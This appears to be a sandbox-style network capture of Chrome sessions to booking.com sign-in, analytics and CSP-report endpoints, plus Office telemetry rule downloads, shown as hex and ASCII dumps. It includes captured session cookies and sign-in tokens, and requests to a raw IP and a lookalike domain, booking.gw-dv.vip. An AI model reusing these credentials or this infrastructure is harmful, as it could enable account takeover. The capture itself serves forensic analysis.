2024-11-02 13:00:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49845	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:25 UTC	1913	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
2024-11-02 13:00:26 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:25 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 38ff23673937c3eba42a4eefb2007078.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: jPSANjPnb9rdaHFIFUI1WZZGHXS6ihwXK0Q6so3H1X92rdR5qmaaXg==
2024-11-02 13:00:26 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49844	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	1274	OUT	GET /p-FHo0HUDOEv9fjh?180b8f734998350a=caAGBUAg9lBFu3V0ESghdWllttueUM_trDuAMZebskwgciR3TFk4EP1iUhhxcoXyiPi5ErnPtIwdnmoyRKsQDUWfYqx0ZHRInE9qMiJDJRgCU1IqSPzisuHma-LOAqGQNtRHiGcoxzCvIW8FLHSaBotMLVTZwLbHaUlRYmg HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
2024-11-02 13:00:25 UTC	357	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:25 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-11-02 13:00:25 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49846	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	1274	OUT	GET /3vOSVChBca8mxq54?f9b74c41f0f5e233=Elw3xMb-B-c67pAdASjEhN4msh_to4AKxSJ0P-88Ra5T_K4A4iPxEsv2YNfCLZr3dHJ9i1O3bsdDwkseyKiP4wCA1r6HREV-OutOviWaOVExfW2DaCMjePuuubS0Vtc0pOzxWmWJPvdKrePsLQaR7hAFZXRLzB7AivWEv2A HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
2024-11-02 13:00:25 UTC	357	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:25 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-11-02 13:00:25 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49843	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1936 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:25 UTC	1936	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
2024-11-02 13:00:26 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:25 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 391671221007e4a70643cc0de549779c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: f4CTLQwOG0nqlvTVBs2AkXNE37b0vMVFAUXsShC1pOAcZYF5VtVY6g==
2024-11-02 13:00:26 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49848	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1909 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:25 UTC	1909	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
2024-11-02 13:00:26 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:26 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 ee6fa75e712f6cdc2fa03f92f2cfbde0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: NQ3WTsl9VVwXnah5JAfaOCS8IIPMFIFBB4oHN-uQu7xjRpN-4Mu7SA==
2024-11-02 13:00:26 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49847	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1938 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:25 UTC	1938	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
2024-11-02 13:00:26 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:26 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 38ff23673937c3eba42a4eefb2007078.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: ip1x6Q-bCe46A_A8JbiWrIQ-UkMc1BmFZFCCIg5jZ9HldNmcdK7X0Q==
2024-11-02 13:00:26 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49850	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:25 UTC	531	OUT	OPTIONS /raphael_data_v8 HTTP/1.1 Host: 52.209.78.88 Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: c,content-type,pretoken Origin: https://account.booking.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:26 UTC	405	IN	HTTP/1.1 204 No Content Server: openresty Date: Sat, 02 Nov 2024 13:00:26 GMT Connection: close access-control-allow-origin: * access-control-allow-credentials: true access-control-max-age: 2592000 access-control-allow-methods: GET, POST, OPTIONS, PUT, PATCH access-control-allow-headers: Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,Keep-Alive,If-Modified-Since,c,pretoken,Pretoken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49851	52.209.78.88	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	345	OUT	GET /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:26 UTC	331	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type
2024-11-02 13:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: e5bf7d34-e01e-00aa-152e-2cceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130026Z-176bd8f9bc5pqws8hC1DFW15kc00000001u0000000005yh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49849	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1818 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:26 UTC	1818	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
